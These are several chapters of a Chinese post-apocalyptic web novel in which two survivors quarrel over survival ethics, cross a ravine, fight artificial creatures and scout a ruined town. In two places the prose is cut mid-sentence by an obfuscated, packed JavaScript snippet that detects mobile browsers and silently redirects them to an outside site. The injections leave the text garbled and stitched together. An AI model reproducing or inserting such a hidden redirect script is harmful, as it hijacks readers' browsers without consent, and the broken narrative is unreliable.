天地间仿佛蒙着一层永不停息的、由尘埃构成的薄纱,远方的景物都因此扭曲、模糊,透着一股不真切的诡谲。空气干冷,吸进肺里带着粗粝的质感,每一次呼吸都提醒着人们此地生机的稀薄。 两道身影就在这片被风沙反复鞭挞的旷野上,沉默地移动。 陆昭妄走在前头,他的步伐比平时更快,更用力,仿佛想用体力上的消耗来碾过脑子里那些纷乱嘈杂的念头。 背包和磨尖的水管在他身上随着动作发出规律的轻微碰撞声,成了这风声之外唯一的节奏。 沈悬衡跟在他身后几步之外,她的步子依旧轻而稳,但微微蹙起的眉头泄露了她并非如表面那般平静。 她的目光扫过被风蚀出诡异孔洞的岩层,掠过一丛丛如同被无形之火燎过、只剩下焦黑硬秆的灌木,夜晚那场无果的争论,像一道无形的屏障,横亘在两人之间,并非冰冷的隔阂,而是充满了未尽之言和理念摩擦后留下的灼热余烬。 沉默行进了约莫一小时后,他们路过了一片被彻底摧毁的小型聚居地残骸。 只有几堵焦黑的断墙突兀地立在那里,像大地溃烂后留下的疤痕,无声诉说着某场已然被遗忘的灾难。 陆昭妄停下脚步,用脚尖踢开一块半融又凝固的、辨不出原貌的碎砖,发出嗤的一声轻笑,打破了令人窒息的寂静。 “看,”他的声音带着惯有的、淬了冰碴子的嘲弄,“又一个‘伊甸园’样板间,竣工即报废。来,猜猜看,尊敬的医生,是内部火拼,分配不均捅了刀子,还是被某路过的、更讲‘效率’的‘大善人’顺手给清理门户了?” 沈悬衡的目光落在那些焦黑的墙壁上,似乎能穿透时间,看到这里曾短暂存在过的、微弱的生机与随之而来的绝望。 她没有看陆昭妄,只是平静地回应,声音在风里显得有些飘忽:“也可能,他们只是没能熬过去。不是所有的结局,都一定源于你想象中的那种恶意。” “恶意?”陆昭妄像是听到了什么可笑的词,转过身面对她,嘴角扯出一个尖锐的弧度,“不,你错了。这不是恶意,这是天真付出的学费。以为抱团就能取暖,结果成了这片荒原上最显眼、最肥美的靶子。生存第一课,圣人小姐,就是别扎堆,别轻易亮出你的底牌和软肋。” “如果所有人都像你这样想,选择独行和隐匿,”沈悬衡终于抬起眼,看向他,那双黑棕色的眼眸里没有怒气,只有一种深沉的质疑,“那文明靠什么重建?靠你我之间永无止境的互相算计与提防吗?还是靠着你那套‘最优解’的逻辑,把所有不稳定因素都提前‘优化’掉?” “文明?”陆昭妄仿佛被这个词刺痛,语速更快,攻击性更强,“那个玩意儿已经死了,就埋在这些废墟底下!我们现在活着的地方是坟场!在坟场里谈重建文明,你不觉得奢侈得有点可笑吗?活着,想尽办法活下去,才是唯一真实的逻辑!” “活着也分怎么活。”沈悬衡毫不退让,声音依旧平稳,却像锥子一样扎向他话语的核心,“如果‘活着’意味着最终要变成我们正在对抗的混乱与残酷的一部分,那这样的‘活着’,和死了有什么区别?甚至比死了更可悲,因为它会成为滋养更多绝望的温床。” “所以你就选择一种更‘高尚’的死法?用你的‘私心天平’去称量每一个路人的价值,然后把自己也搭进去?”陆昭妄逼近一步,几乎有些咬牙切齿,“你这不叫高尚,沈悬衡,你这叫奢侈!是这末日里最负担不起的奢侈!” 争论戛然而止,只剩下风声在他们之间呼啸穿过。 陆昭妄像是被这句话钉在了原地,他死死瞪着她,胸膛微微起伏,所有更尖刻的反驳都堵在了喉咙里。最终,他猛地转过身,几乎是粗暴地拽了一下背包带,从牙缝里挤出一个字: “走。” 这个字,像一块石头砸进凝固的空气里,除了激起片刻的涟漪,并未能真正打破两人之间那沉重而黏稠的氛围。 他不再多言,转身迈开步子,速度甚至比之前更快,仿佛要将所有烦人的思绪连同身后的人都一并甩开。 沈悬衡沉默地跟上,保持着那恰到好处的距离。风依旧肆虐,刮在脸上带着轻微的刺痛。 她没有试图再去争辩,只是目光沉静地掠过沿途更加崎岖的地貌——地面开始出现更多嶙峋的怪石,道路变得难行。 随着他们深入这片岩石区,争论虽然止息,但理念的碰撞却以另一种方式延续。 面对需要攀爬或绕行的巨石,陆昭妄往往会选择最直接、最省力的路径,哪怕需要借助一些危险的跳跃。而沈悬衡则倾向于寻找更稳妥、或许会多耗费些许体力的方式。 在一次陆昭妄险些因湿滑的岩面失足后,他稳住身形,回头瞥了沈悬衡一眼,语气带着未消的火气和惯有的刻薄:“看,这就是你推崇的‘稳妥’,在这种鬼地方,慢一步可能就是死。效率,才是保命的第一要素。” “如果为了效率而提前受伤或耗尽体力,那所谓的效率毫无意义。”沈悬衡绕过一块松动的石头,声音平稳地回应,“你的‘最优解’,有时只是忽略了潜在风险的短视。” “忽略风险?”陆昭妄像是被踩到了尾巴,一边手脚并用地攀上一处陡坡,一边语速飞快地反驳,“我他妈的每时每刻都在计算风险!计算怎么用最小的代价换取最大的生存空间!而不是像你,总想着怎么把有限的资源‘分担’给那些无关紧要的累赘!” “所以在你看来,‘无关紧要’就可以被舍弃,‘有用’才值得投资?”沈悬衡仰头看着他,风吹起她额前的碎发,“如果有一天,我也成了你计算中的‘负资产’,是不是也会被你毫不犹豫地‘优化’掉?” 这句话让陆昭妄的动作猛地一顿。他停在坡顶,转过身,居高临下地看着她,深褐色的眼睛里情绪翻涌,最终凝聚成一种近乎恼怒的锐利:“沈悬衡,你少他妈偷换概念!我们现在讨论的是生存策略,不是你那套道德审判!” “策略本身就基于价值观。”她毫不退缩地迎上他的目光,“你的策略里,只有物尽其用和及时止损。而我的策略里,至少还包括‘不主动成为灾难的一部分’。” “哈!”陆昭妄短促地笑了一声,那笑声里毫无暖意,“‘不成为灾难’?看看你周围!我们就在灾难的正中心!你呼吸的每一口空气,踩着的每一寸土地,都是灾难本身!你想独善其身?做梦!” 争吵似乎又要滑向无解的循环。 就在这时,沈悬衡的视线被坡地另一侧的一些痕迹吸引了。 她快步走过去,蹲下身,用手指轻轻拂过地面几道清晰的印记。那并非兽类的爪印,也绝非人类的脚印,更像是某种……修长的、带着钩状末端的肢体留下的戳刺痕迹,排列异常整齐,步幅均匀得如同测量过,指向一个明确的方向。 “看来除了我们,”她抬起头,打断了即将再次升级的争论,语气凝重,“还有别的‘东西’在这片区域活动。而且,它们的行动很有规律。” 陆昭妄皱紧眉头,快步走下坡地,蹲在她旁边仔细查看。他伸出手指比划了一下痕迹的深度和间距,眼神里的怒意被锐利的审视取代。 “不是觅食,不像漫游。”他压低声音,带着惯有的分析腔调,“这移动模式……更像是在执行固定路线的巡逻。妈的,这地方果然没那么简单。”他站起身,环顾四周略显狰狞的岩石区,“是避开,还是跟上去看看?” “情报比罐头值钱。”沈悬衡引用了他之前的话,语气听不出情绪,但目光始终没有离开那些非人的足迹。 陆昭妄扯了扯嘴角,露出一丝掺杂着警惕与算计的冷笑:“没错。那就让我们看看,这些比军队还讲究纪律的‘邻居’,到底是个什么玩意儿,又在守护什么,或者……在为什么做准备。” 追踪那些非人的足迹并非易事,它们时隐时现,却始终指向北方。 几个小时后,一道巨大的裂谷横亘在二人面前,切断了前路。谷底幽深,风声穿过其中,发出低沉的呜咽。 唯一横跨其上的,是一座旧时代的钢铁桥梁,如今已是锈迹斑斑,桥面多处破损,露出下面令人眩晕的虚空,整座桥体在持续的风中发出细微而危险的嘎吱声响。 “看来没得选了。”陆昭妄眯着眼打量着这座危桥,快速分析着结构,“主梁锈蚀严重,但关键连接点看起来还能撑一会儿。走那边,”他指向桥面一侧相对完整、下方有额外支撑结构的区域,“贴着边缘,脚步放轻,分散重量。” 沈悬衡点头,表示明白。两人解下背包,取出之前搜集到的结实绳索,又各自翻出一双虽然陈旧但厚实的手套戴上,以防锈蚀的金属边缘割伤手掌。 随后,他们快速地将一端系在各自腰间,另一端则牢牢固定在桥头一根深深嵌入地面的、相对稳固的钢柱上。这是一个简单却必要的保险。 “我先过。”陆昭妄习惯性地就要上前。 “我体重更轻,对结构的压力更小。”沈悬衡打断他,语气不容置疑,“你在这里策应,更能看清整体情况。”她没有给他反驳的机会,已经小心地踏上了那看似相对完好的桥面。 陆昭妄抿紧了唇,没再争执,目光紧紧跟随着她的每一个动作,全身肌肉紧绷,像一头随时准备扑出的猎豹。 沈悬衡移动得极其缓慢而稳定,每一步都先轻轻试探,确认承重无误后才将身体重心完全移过去。 她的身影在宽阔而残破的桥面上显得异常渺小,仿佛随时会被风吹落。 就在她即将通过最危险的中段,一块看似牢固的钢板在她脚下毫无征兆地碎裂、下坠!她的身体瞬间失去平衡,向下滑落! 千钧一发之际,腰间绳索猛地绷紧,勒得她呼吸一窒,但下坠之势并未完全止住。 几乎在同一瞬间,一只大手死死攥住了她的手腕,力量大得几乎要捏碎她的骨头。 陆昭妄不知何时已扑到桥面边缘,半个身子探出,凭借腰力和臂力,硬生生将她从坠落的边缘拽了回来。 两人跌坐在相对安全的桥面区域,剧烈地喘息着。惊魂未定间,陆昭妄猛地扭头,语气里带着未散的惊怒和一丝不易察觉的后怕,劈头盖脸地问道:“你刚才为什么不用你的能力?!你那‘天平’哪怕只是稍微转移一下那块板的‘脆弱’概念,你都根本不会掉下去!” 沈悬衡扶着仍在发颤的手臂,抬头看向他,因缺氧而苍白的脸上,眼神却异常清明:“我们之前……不是约定过,除非确定是……无法挽回的生命危险,否则不动用异能。”她深吸一口气,稳住呼吸,继续道,“而且,我观察过……如果我失足,你所在的的位置和反应速度,完全能在……保证自身安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在镜头视界的尽头,山峦的阴影之下,一片低矮、密集的建筑轮廓清晰地映入眼帘——回声小镇。它安静地蛰伏在那里,像一头沉睡的巨兽,既是未知的危险,也是风雪来临前唯一的希望港湾。 然而,就在他调整焦距,仔细观察通往小镇方向的路径时,几个移动的黑点吸引了他的注意。 它们在某处山脊线上快速掠过,修长的身形在黯淡天光下只剩下剪影,动作迅捷而协调,带着一种非人的、令人脊背发凉的韵律感。是那些“秩序行者”——陆昭妄临时起的名字,而且不止一个,它们像是在巡视自己的领地。 他放下望远镜,沉默了片刻,然后走回正在默默整理睡袋的沈悬衡身边。 “看到小镇了。”他开口,声音比平时少了些尖锐,多了些沉实,将望远镜递了过去,指向远方山脚的轮廓,“就在那边。不过,”他顿了顿,目光扫过她,语气带着一种共享情报的平静,“前面的‘邻居’,看来不怎么友好。我刚在那边,”他用下巴示意了一下之前站立的坡地边缘,“看到那些东西了,应该就是之前留下那些行进痕迹的‘主人’,在山脊线上,数量不少,动作快得很。” 沈悬衡接过望远镜,走到他刚才的位置,按照他描述的方位仔细调整焦距望去。片刻后,她放下镜头,脸上没有太多意外,只是眉头微蹙。 “它们的存在,本身就在说明小镇不简单。”她沉吟着,然后看向他,那双总是沉静的眼眸里,似乎有微光在暮色中闪动,“我们……这算是和好了吗?” 陆昭妄显然没料到她会问得如此直接,如此迅速,愣了一下,随即有些不自然地别开脸,含糊地嘟囔道:“和好?我们什么时候吵过架了?我怎么不记得。”他甚至煞有介事地抬手揉了揉额角,仿佛在努力回忆一场根本不存在的争执,试图用他一贯的装傻充愣蒙混过关。 看着他这副刻意回避、却又带着点笨拙掩饰的样子,沈悬衡没有再追问。 她极轻微地、几乎难以察觉地弯了一下嘴角,那笑意很浅,却柔和了她脸上惯有的清冷。她低下头,手指无意识地卷着衣摆的边缘,声音轻了几分,带着一种罕见的、不确定的试探:“那……刚才在桥上,我是不是……成了你的累赘?” 这个问题比前一个更直接地戳破了某种隔膜。 陆昭妄收起了那点故作姿态,转过头,认真地看向她。他看到她低垂的眼睫,和那细微的、泄露了内心不安的小动作。 “累赘?”他重复了一遍,语气里听不出喜怒,然后扯了扯嘴角,露出一个介于嘲讽和无奈之间的表情,“沈悬衡,你是不是对你自己的‘价值’有什么误解?我那叫风险投资,懂吗?提前评估,控制损失。你要是真成了累赘,”他顿了顿,目光落在她依旧有些苍白、却异常坚定的脸上,声音低沉了下去,“我会在桥那头就帮你‘优化’掉,而不是浪费力气把你拉上来。” 这话听起来依旧刻薄,但内核却截然不同。他没有给出温暖的安慰,而是用他独有的、属于陆昭妄的方式,给出了一个近乎笨拙的肯定——他计算过,而她,在他的计算里,值得他冒风险。 沈悬衡抬起头,对上他的目光。她没有说话,只是那一直微微蹙着的眉心,悄然舒展开来。 陆昭妄被她看得有些不自在,轻咳一声,粗暴地结束了这个话题:“行了,别想些有的没的。抓紧休息,明天还得应付那些‘不友好’的邻居。”他转过身回到营地,开始检查自己的装备,但动作间,少了几分以往的躁动,多了些沉凝。 夜色彻底笼罩下来,将远处的希望与近处的威胁一同吞没。营地陷入沉默,但这一次的沉默里,某种冰层碎裂的声音,似乎依稀可闻。 13. 裂谷速通补习班 浓厚的、带着刺骨寒意的白雾,如同某种有生命的实体,在黎明时分悄无声息地吞噬了整片荒原。 能见度被压缩到不足五十米,远处的山峦与近处的怪石都失去了轮廓,化作一片模糊的、摇曳的灰影。空气中弥漫着浓重的水汽,凝结在枯草、岩石和他们的装备上,形成一层细密冰冷的露珠。 万籁俱寂,连风都仿佛被这厚重的雾霭阻滞,只剩下彼此略显压抑的呼吸声。 陆昭妄率先从浅眠中惊醒,几乎是立刻便进入了警戒状态。 他眯着眼扫视了一圈被浓雾包裹的营地,手指无声地搭在了身旁的金属水管上。过了一会儿,他才稍微放松,转头看向另一边刚刚坐起身、正在揉搓手臂以驱散寒意的沈悬衡。 他没说话,只是在背包里摸索了片刻,然后抬手扔过去一块被冻得有些硬邦邦的能量棒。动作算不上温柔,却也不再带着先前那种刻意的疏离。 沈悬衡接住,低声道:“谢谢。” 她撕开包装,小口地啃咬起来,目光同样警惕地巡视着周围被雾气扭曲的空间。 收拾行装时,沈悬衡看到陆昭妄的水壶滚到了自己脚边,便自然地捡起来,递还给他。陆昭妄愣了一下,默不作声地接过,塞回背包侧袋。 当最后一点装备整理完毕,陆昭妄站起身,望向小镇大致的方向,尽管此刻除了翻滚的雾气什么也看不见。 他皱着眉,似乎在权衡什么,最终侧过头,看向正在系紧鞋带的沈悬衡,语气带着一种就事论事的探讨意味,而非命令或嘲讽: “这鬼天气,路不好走。以你的‘专业’角度看,我们是沿着谷底摸索,还是试着往山腰上靠?谷底容易迷路,但可能隐蔽些;山腰视野也许好点,但也更容易成了靶子。” 沈悬衡系好鞋带,站起身,同样望向那片混沌的白色。她仔细感受了一下空气中水汽的流动,又低头看了看地面潮湿的泥土。 “雾是从谷底往上漫的,山腰的雾气可能会更薄,但也更不可预测。”她分析道,声音在雾中显得有些朦胧,“如果那些‘东西’依赖视觉,浓雾对我们双方都是阻碍。如果它们有别的感知方式……”她顿了顿,“走谷底,动静更小。贴着岩壁,至少能保证一侧是安全的。” 陆昭妄听完,没有立刻反驳,只是点了点头。“行,那就谷底。跟紧点,这雾浓得跟牛奶似的,别走散了。”他率先迈开步子,身影很快便融入了前方的白茫之中,只留下模糊的轮廓和轻微的脚步声作为指引。 沈悬衡立刻跟上,两人一前一后,如同两道游弋在雾海中的孤影。 谷底的雾气比上方更为浓重湿冷,仿佛无数冰冷的触手缠绕在肢体上,每一次呼吸都带着沉甸甸的寒意,水珠迅速凝结在眉梢和发梢。 脚下的地面布满湿滑的苔藓和松动的碎石,行 异常艰难,每一步都需要先用脚尖试探,确认稳固后才能落下重心。 两人一前一后,几乎是贴着左侧陡峭的、布满水痕的岩壁缓慢移动,陆昭妄手中的金属水管不时敲击着前方的地面和岩石,发出“叩、叩”的轻响,既是探路,也试图用这规律的声音驱散这片令人不安的、仿佛能吞噬一切的死寂。 然而,寂静很快被打破了。 不是被声音,而是被一种骤然降临的、如同实质般的冰冷杀意。 这杀意并非单纯的野性,更像是一种精准锁定目标后的、不带感情的执行指令。 左侧浓雾中,一道修长的黑影毫无征兆地窜出,速度快得只留下一道模糊的灰色残影,它贴着地面掠来,带着一股刺鼻的、类似电路烧焦混合着硫磺的腐蚀性气味,锋利的爪子闪烁着不祥的幽光,直取陆昭妄的咽喉。 几乎在同一时刻,右侧雾霭剧烈翻滚,另外两道同样迅捷、姿态完全一致的黑影如同鬼魅般浮现,精准地封堵了他们的退路和可能闪避的侧翼角度。 “操!” 陆昭妄只来得及从牙缝里挤出这个字,身体已经凭借无数次生死边缘磨练出的本能向后猛仰,脊柱几乎弯成了一张弓,手中那根锈蚀的水管险之又险地向上格挡,“铛!”的一声脆响,伴随着令人牙酸的“滋啦”声,怪物的利爪与水管交击,竟在金属表面留下了明显的腐蚀痕迹,火星溅入浓雾,瞬间熄灭。 “沈悬衡!右翼!”他喉咙里爆出低吼,声音在狭窄的谷底撞击岩壁,产生沉闷的回响。同时他手腕猛地发力,肌肉贲张,硬生生震开第一只怪物,脚步一错,泥水飞溅,试图抢占一个能同时应对多方攻击的、背靠岩壁的位置。 沈悬衡在他示警的瞬间已如同受惊的狸猫,向左侧冰冷的岩壁更紧地靠拢,最大限度缩小受敌面积。 面对右侧裹挟着腥风扑来的那只,她没有选择硬抗,那无异于以卵击石。她的身体仿佛没有重量般向旁灵巧地滑开半步,同时右手已从地上疾速抄起一把混杂着尖锐石子的湿冷沙土,看也不看就猛地扬向那怪物头部疑似感官集中的、没有明显五官的区域。 怪物疾扑的动作因此而产生了一个微不可查的凝滞,发出一声低沉的、如同生锈齿轮强行转动的、令人心悸的嘶鸣。 “它们靠声音和震动定位!”沈悬衡急促地提醒,声音依旧稳定,但语速快了不少。 她话音未落,第三只怪物已从陆昭妄的视觉死角——上方一块被雾气半掩的、潮湿滑腻的突出岩石上——悄无声息地疾扑而下,如同等待已久的致命阴影! 陆昭妄此刻腹背受敌,上方和正面的攻击几乎封死了他所有闪避空间,眼看难以兼顾。 就在这时,沈悬衡眼中锐光一闪,猛地将自己腰间那个沉重的、金属质地的水壶狠狠掷向陆昭妄身前不到一米的地面,“哐当!”一声突兀而响亮的脆响在谷底炸开! 这绝非寻常的动静成功吸引了上方那只怪物几乎全部的瞬间注意,它的扑击轨迹因此出现了那决定生死的、微不可查的偏移。 就是这电光石火的瞬间!陆昭妄脑中甚至来不及形成完整的念头,身体已经抓住这稍纵即逝的机会,一个狼狈却异常有效的贴地翻滚,带着一身泥泞,险险避开了上下致命的夹击,手中水管同时带着恶风自下而上反手横扫,狠狠砸在第一只怪物支撑身体的膝关节侧后方连接处! 那里传来一声令人满意的、类似脆硬骨骼或甲壳碎裂的“咔嚓”声! “退回去!不用你当诱饵!”他朝着沈悬衡的方向暴躁地低吼,额角青筋跳动,不知是汗水还是雾气凝结的水珠正顺着他的下颌线滑落。 但他的动作却因此越发狠厉、精准,彻底放弃了华而不实的招式,水管每一次挥击都直奔这些怪物肢体连接的脆弱处、关节的缝隙,如同最冷酷的拆解机器。 沈悬衡没有争辩,甚至没有去看他。 她利用陆昭妄制造的短暂混乱和吸引的火力,如同鬼魅般在战团边缘快速移动,不断从地上拾起棱角尖锐的碎石,用巧劲投掷出去,干扰着另外两只怪物的进攻节奏。 在一次怪物嘶鸣着掠过她藏身的岩壁凸起时,她手中那根之前搜集的、一端被磨尖的短金属棒如同毒蛇出洞,精准而迅疾地刺入了其腰部甲壳一片略显松动的缝隙! 虽然未能造成致命伤,金属棒甚至被坚韧的组织卡住而脱手,但这突如其来的刺痛成功激怒了它,发出一声更加尖利的嘶鸣,将其注意力从正在与另一只怪物缠斗的陆昭妄身上引开了宝贵的片刻。 战斗结束得很快,却每一秒都弥漫着浓烈的死亡气息。 三只形态修长、覆盖着暗沉几丁质甲壳的“秩序行者”倒在地上,它们的身体正在以一种不正常的速度消解、气化,散发出更浓烈的臭氧和强酸般的腐蚀性气味,最终只剩下几滩粘稠的暗色残留物和些许未完全消散的、坚硬的甲壳碎片。 陆昭妄撑着膝盖,剧烈地喘息着,胸腔如同破风箱般起伏,他看向地上那摊最大的、还在微微冒着刺鼻白烟的残留物,扯了扯沾着泥污和不知名液体的嘴角:“这帮家伙的‘秩序’就是三打二?还他妈带偷袭的?真他妈讲武德。” 沈悬衡也平复着急促的呼吸和狂跳的心脏,走到一具尚未完全消散、还在微微抽搐的怪物残骸旁,小心地避开仍在“滋滋”作响的腐蚀区域,用捡回的金属棒轻轻翻动。 突然,她的动作停住了。在怪物颈侧甲壳内侧,靠近关节连接处的隐秘位置,她看到了一些极其细微的、排列规整得令人发指的、如同精密蚀刻电路板般的凸起纹路,绝非自然界任何生物所能拥有。 而在颈甲下方,一个模糊的、被部分腐蚀的、像是激光打刻的编号印记隐约可见——【K7-██】。 她抬起头,看向同样正盯着那残留物、面色凝重的陆昭妄,声音带着一丝穿透雾霭的寒意:“它们的身体里……有‘人造’的东西。” 陆昭妄几步跨到沈悬衡身边,蹲下身,目光锐利地扫过那即将完全消散的甲壳和其内侧的诡异纹路。 他没有用手直接触碰,而是接过沈悬衡递过来的那根磨尖的金属棒,小心地拨动了一下那带有编号的甲壳碎片,使其更清晰地暴露在视线下…… “‘人造’的……”他低声重复着这个词,嘴角扯出一个没什么笑意的弧度,“看来我们这位‘房东’,不光是养了几条恶犬,还是个喜欢搞点手工活的。” 他站起身,环顾四周愈发浓重的雾气,眼神里的玩世不恭被一种深沉的警惕取代。 “这破地方越来越有意思了。抓紧走,这雾气怕是散不了。” 两人不再耽搁,以更快的速度、更警惕的姿态沿着谷底继续前进。 约莫一小时后,前方的雾气似乎稀薄了些,但一道新的、更令人绝望的障碍出现在眼前——一道宽阔深邃的裂谷,如同大地上的一道狰狞伤疤,切断了通往小镇的最后路径。 谷底幽暗,隐隐有冰冷的水汽升腾上来。曾经连接两岸的桥梁早已彻底断裂,只剩下几根粗壮但锈蚀严重的钢缆垂落在崖壁之上,偶尔随风晃动,发出不详的摩擦声。 “妈的,就知道没这么顺利。”陆昭妄啐了一口,走到裂谷边缘,探身向下望了望,又估算了一下对岸的距离,“爬下去,再爬上来。没别的路了。” 他的目光扫过两人身上沉重的背包,眉头紧锁。 “轻装,”他斩钉截铁地说,语气不容置疑,“只带武器、水、和必要的药品。食物和其他东西,留在这里,或者扔了。背着这么多累赘,谁也过不去。” “不行。”沈悬衡立刻反对,她护住自己的背包,那里装着大部分药品和紧急物资,“物资是生存的根本,尤其是药品。丢弃它们,等于自断后路。万一小镇里面情况更糟,或者我们需要长时间固守……” “前提是我们能活着爬过去!”陆昭妄打断她,语气带着烦躁,“背着这几十斤东西,脚下打滑一下,就直接到底了!是物资重要还是命重要?” “没有物资,活着进去也可能饿死、病死在里面!”沈悬衡毫不退让,声音也提高了一些,“你的‘最优解’就是一次次地赌,赌下一个落脚点有资源,赌自己不会受伤生病吗?” 眼看争论又要升级,陆昭妄狠狠抓了把头发,像是要把满腹的焦躁都揪出来。 他瞪着沈悬衡,又瞪了瞪那深不见底的裂谷,最后目光落回她那张写满固执的脸上。 “行!行!带你那些瓶瓶罐罐!”他几乎是咬牙切齿地说,带着一种认命般的暴躁,“摔碎了可别指望我赔!” 他烦躁地挥手,像是要驱散这令人不快的妥协,随即快速解下自己背包里的绳索,“把所有背包捆结实,分批吊下去!人最后下!他妈的,这得折腾到什么时候……” 方案既定,两人立刻行动。 他们将三个主要背包用绳索牢牢捆扎在一起,陆昭妄负责在崖壁上方寻找稳固的锚点,利用他娴熟的绳结技巧,快速构建了一个复杂的、能够有效省力并控制下放速度的绳索系统;沈悬衡则在下放过程中不断调整方向,避免背包撞击岩壁,同时凭借对重量的精准感知,指挥陆昭妄控制下放速度。 整个过程耗时耗力,需要绝对的专注和信任,任何一个环节出错,都可能损失他们全部的补给。 当所有物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647170|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资安全抵达谷底一小块相对平坦的河滩后,更艰难的攀爬开始了。 两人带好手套,依靠着岩壁上天然的突起和那些锈迹斑斑但核心尚存的旧钢缆作为借力点。 陆昭妄依旧在前开路,他力量更强,负责测试每一个抓握点和落脚点的可靠性,并清理掉松动的石块。 沈悬衡紧随其后,她的轻盈和平衡感在此刻发挥了巨大作用,总能找到最省力的移动方式,并时刻关注着上方陆昭妄的情况,在他需要时,能及时指出附近更合适的落脚点。 体力在急速消耗,手臂因持续用力而颤抖,冰冷的岩壁和钢缆,即便是隔着手套都能隐约感受到掌心磨得发红刺痛。 但在这一上一下、性命相托的攀爬中,没有抱怨,没有争吵,只有沉重的喘息声和简短的提示。 “左边,那块黑色的石头。” “小心,这根缆绳晃得厉害。” 以及一种在绝境中淬炼出的、无需言说的默契。 当陆昭妄率先翻上对岸,立刻回身,向还在最后一段陡坡上的沈悬衡伸出手。 沈悬衡抬头,看到他脸上混杂着疲惫、紧张和如释重负的神情,没有犹豫,一把抓住他满是汗水尘土的手。陆昭妄臂膀发力,将她稳稳地拉了上来。 两人瘫坐在对岸的地上,背靠着冰冷的岩石,胸膛剧烈起伏,连说话的力气都快没有了。 沉默持续了片刻,只有风声掠过裂谷的呼啸。陆昭妄忽然没头没尾地开口,声音还带着剧烈运动后的沙哑:“……刚才在下面,你那一下,戳得挺准。”他指的是沈悬衡用金属棒刺入怪物甲壳缝隙的那一击。 沈悬衡正低头检查手套被绳索磨出的痕迹,闻言动作微微一顿。 她抬起头,看向他。 陆昭妄并没有看她,目光望着对面他们刚刚攀爬上来的崖壁,侧脸线条在暮色中显得有些生硬。 “不然呢,”她收回目光,继续看着自己的手套,语气平静无波,“难道真看着你被它们吃掉吗?” 陆昭妄被这话噎了一下,侧过头瞪她,却看见她低垂的眉眼和略显苍白的脸,到嘴边的反驳又咽了回去。他烦躁地“啧”了一声,重新转过头去。 “……算你账上。”他最终瓮声瓮气地嘟囔了一句,像是认输,又像是某种变相的承认。 沈悬衡极轻微地弯了一下嘴角,没有回应。 夕阳的余晖终于艰难地穿透了部分雾气,将远处的“回声小镇”轮廓染上了一层不祥的暗金色。它就在那里,寂静地等待着。 短暂的休整后,体力稍复。 两人移动到一处能避开谷底强风的岩石后,这里地势稍高,能更清晰地看到不远处的景象。 回声小镇就匍匐在数百米外,死寂无声。 大部分的房屋都低矮破败,墙体剥落,窗户如同空洞的眼窝。唯有小镇中心,依稀可见几栋相对完好的、结构更为坚固的建筑轮廓,在愈发暗淡的天光下沉默地矗立着,带着某种不祥的庄严感。 远处的山脊线上,几个熟悉的修长剪影再次掠过,如同设定好的程序,沿着固定的路线巡逻,动作机械而协调。 陆昭妄拿出望远镜,仔细扫视着小镇的入口和外围,尤其是那些“秩序行者”频繁活动的区域。 他看得很慢,眉头越皱越紧。 “入口被杂物堵死了大半,不像自然形成的。”他放下望远镜,递给旁边的沈悬衡,示意她看小镇主街的方向,“那些东西……活动范围很固定,避开那几个点,进去不难。难的是里面。” 沈悬衡接过望远镜,依言望去。 她注意到那些障碍物的堆积方式确实带着人为的痕迹,杂乱中透着一种刻意。 而更让她在意的是,在那些相对完好的建筑外墙或屋顶上,她隐约看到了一些暗淡的、反光微弱的痕迹,像是某种大规模的、早已干涸的泼溅式污渍。 “它们不像在狩猎,”她放下望远镜,声音低沉,“更像是在执行固定的巡逻程序,守卫着那片区域。”她的目光再次投向小镇,“那些建筑上有痕迹,很大面积的……污渍。” 陆昭妄顺着她的目光看去,哼了一声:“守卫一个废弃的坟场?那里面一定藏着比这些怪物更值钱,或者更他妈致命的东西。” 话音刚落,他便察觉到沈悬衡转过头,安静地看向他。 那目光平静,却带着一种无形的力量,让他没来由地卡了一下壳。他脸上掠过一丝“我又说错什么了?”的短暂困惑。 沈悬衡依然看着他,像是在等待着什么。 陆昭妄随即像是明白了过来,有些别扭地、声音不自觉地压低了些,重新组织语言:“……我是说,那里面一定藏着比这些怪物更值钱,或者更致命的东西。” 沈悬衡这才几不可查地颔首,满意地收回目光,重新望向小镇。 陆昭妄看着她平静的侧脸,自己都没意识到地微微挑了挑眉,仿佛在消化这个因她一个眼神就被迫修正自己语言习惯的、莫名其妙的新发现。 沉默在暮色中蔓延,带着料峭的寒意。 过了一会儿,陆昭妄忽然开口,视线依旧锁定小镇,语气听起来有些生硬,仿佛在陈述一个与己无关的事实:“明天进去的时候,跟紧点。” 他顿了顿,似乎觉得这话不够有说服力,或者太过暴露关心,又迅速而笨拙地补充了一句,试图将一切拉回他习惯的、基于利害关系的逻辑:“你那‘天平’在封闭环境里,总比我的‘拆家’手艺有用。分摊风险,懂吗?” 沈悬衡正将望远镜收好,闻言动作没有停顿,只是极轻地“嗯”了一声,算是回应。 她没有去看他,目光依旧落在远处那片沉默的废墟上,但一直微微抿着的唇角,几不可查地松动了一丝。 夜色如同浓墨般迅速浸染开来,彻底吞没了远处的山脊线与小镇的轮廓,也将他们藏身的这小小角落紧紧包裹。 最后一抹天光消失前,只能看到山脊上那些巡逻的黑影,依旧不知疲倦地移动着,如同环绕着沉睡巨兽的、忠诚而致命的幽灵。 14. 五星级坟场体验 最后一抹夜色被稀释,天光艰难地穿透厚重的云层,照亮了他们藏身的岩石后方。 空气中弥漫着破晓时分的刺骨寒意,比昨夜更甚,呵出的白气清晰可见。 远处,回声小镇依旧匍匐在群山阴影之下,在惨白的天光下,其破败与死寂显得愈发清晰,像一幅褪色后又被遗忘的旧照片。 陆昭妄几乎一夜未眠,此刻正再次举起望远镜,如同最耐心的猎手,仔细复核着远处山脊线上那些“秩序行者”的巡逻路线与时间间隔。 他的下颌线绷得很紧,每一个数字和方位都在脑中飞速计算、推演。 